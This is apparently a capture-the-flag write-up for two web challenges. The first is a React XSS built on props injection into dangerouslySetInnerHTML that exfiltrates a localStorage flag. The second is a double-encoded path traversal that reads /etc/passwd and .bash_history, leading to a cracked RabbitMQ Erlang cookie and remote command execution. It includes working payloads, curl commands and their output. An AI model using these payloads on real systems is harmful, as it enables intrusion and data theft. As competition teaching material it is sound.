Simple web challenge. Application was built with React framework, and contained reporting functionality:
fetch("/api/report", {
method: "POST",
body: JSON.stringify({ hash: x }),
headers: {
"Content-Type": "application/json"
}
})
It means that it's a XSS challenge. The only way to make XSS in React application i know, is to inject arbitrary props
to components and thus set dangerouslySetInnerHTML
to our value. So lets look at code and find where we can inject arbitrary prop values:
m.a.createElement("h1",null,Sp(e)),
We control e
value, third argument of createElement
means that we control children element of h1
, lets look at Sp
function.
function Sp(p){
return p?(
("object"!==wp(p)||!("children"in p))&&(p={children:p}),m.a.createElement("span",p)
):null
}
So if e
will be an object with childen
property set, it'll be passed to createElement
as properties of span
component. Thats what we need. The only problem is that React doesnt allow children
and dangerouslySetInnerHTML
properties set at the same time. Luckily, Sp
function checks only if object has key children
and doesnt check its value. So the final object executing arbitrary JS code is:
{"nickname":"a","name": {"children": null,"dangerouslySetInnerHTML":{"__html": "<svg/onload=alert(1)>"}},"email":"c@c.c"}
And the flag was in bot's browser localStorage:
167.114.236.166 - - [12/Jun/2019:19:13:59 +0000] "GET /?{%22flag%22:%228776d94289caed05c39973258e616702%22} HTTP/1.1" 200 288 "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/73.0.3683.103 Safari/537.36"
The first think that we have to mention is the difference between 404 page for .txt and .php requests. It means that .txt requests are processed by application. Lets try to use double url-encoded payload there then:
$ curl 'http://167.114.255.206:8081/..%252f..%252f..%252fetc/passwd%23.txt'
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
rabbitmq:x:102:104:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin
d90pwn:x:1000:1000::/home/d90pwn:/bin/sh
</pre>
Cool! Now we see d90pwn user with /bin/sh shell. Lets try to read his shell history (which should be at .history file actually, but ¯\(ツ)/¯ ):
$ curl 'http://167.114.255.206:8081/..%252f..%252f..%252fhome/d90pwn/.bash_history%23.txt'
<pre>-ne youtube-dl https://www.youtube.com/watch?v=-FrpuPLYnvY
rm ~/Desktop/Screenshot*.jpg
</pre>
User tried to remove his screenshots, but by default, they are stored in PNG format. Now here comes the most hard part of challenge - we need to guest the file format and bruteforce the filenames. I tried to use default Screenshot from YYYY-MM-DD HH-MM-SS.png
format, but it seems that there is too much to bruteforce. Luckily, there was a hint, that user makes screenshots with windows only (sic!) lightshop app, which use more simple format like Screenshot_%d.png
. There were several screenshots, but most interesting was Screenshot_7.png. It contains log of rabbitmq containing it's cookie hash. If we could bruteforce this hash, we could authenticate on rabbitmq and thus obtain code exection. By the way, there is a cool github repo full of useful rabbitmq tools: https://github.com/gteissier/erl-matter
$ ./crack-hash w1k7PZrV+u6Wyi9v+CMOBg==
BQZTVTPCQWIPDDSGROAD
seed used to generate it = 467090129
And now we can execute arbitrary commands and thus read the flag:
$ ./shell-erldp.py 167.114.255.206 25672 BQZTVTPCQWIPDDSGROAD 'cat /flag'
[*] authenticated onto victim
49855b406c5ac5669556214546445ac8
[*] disconnecting from victim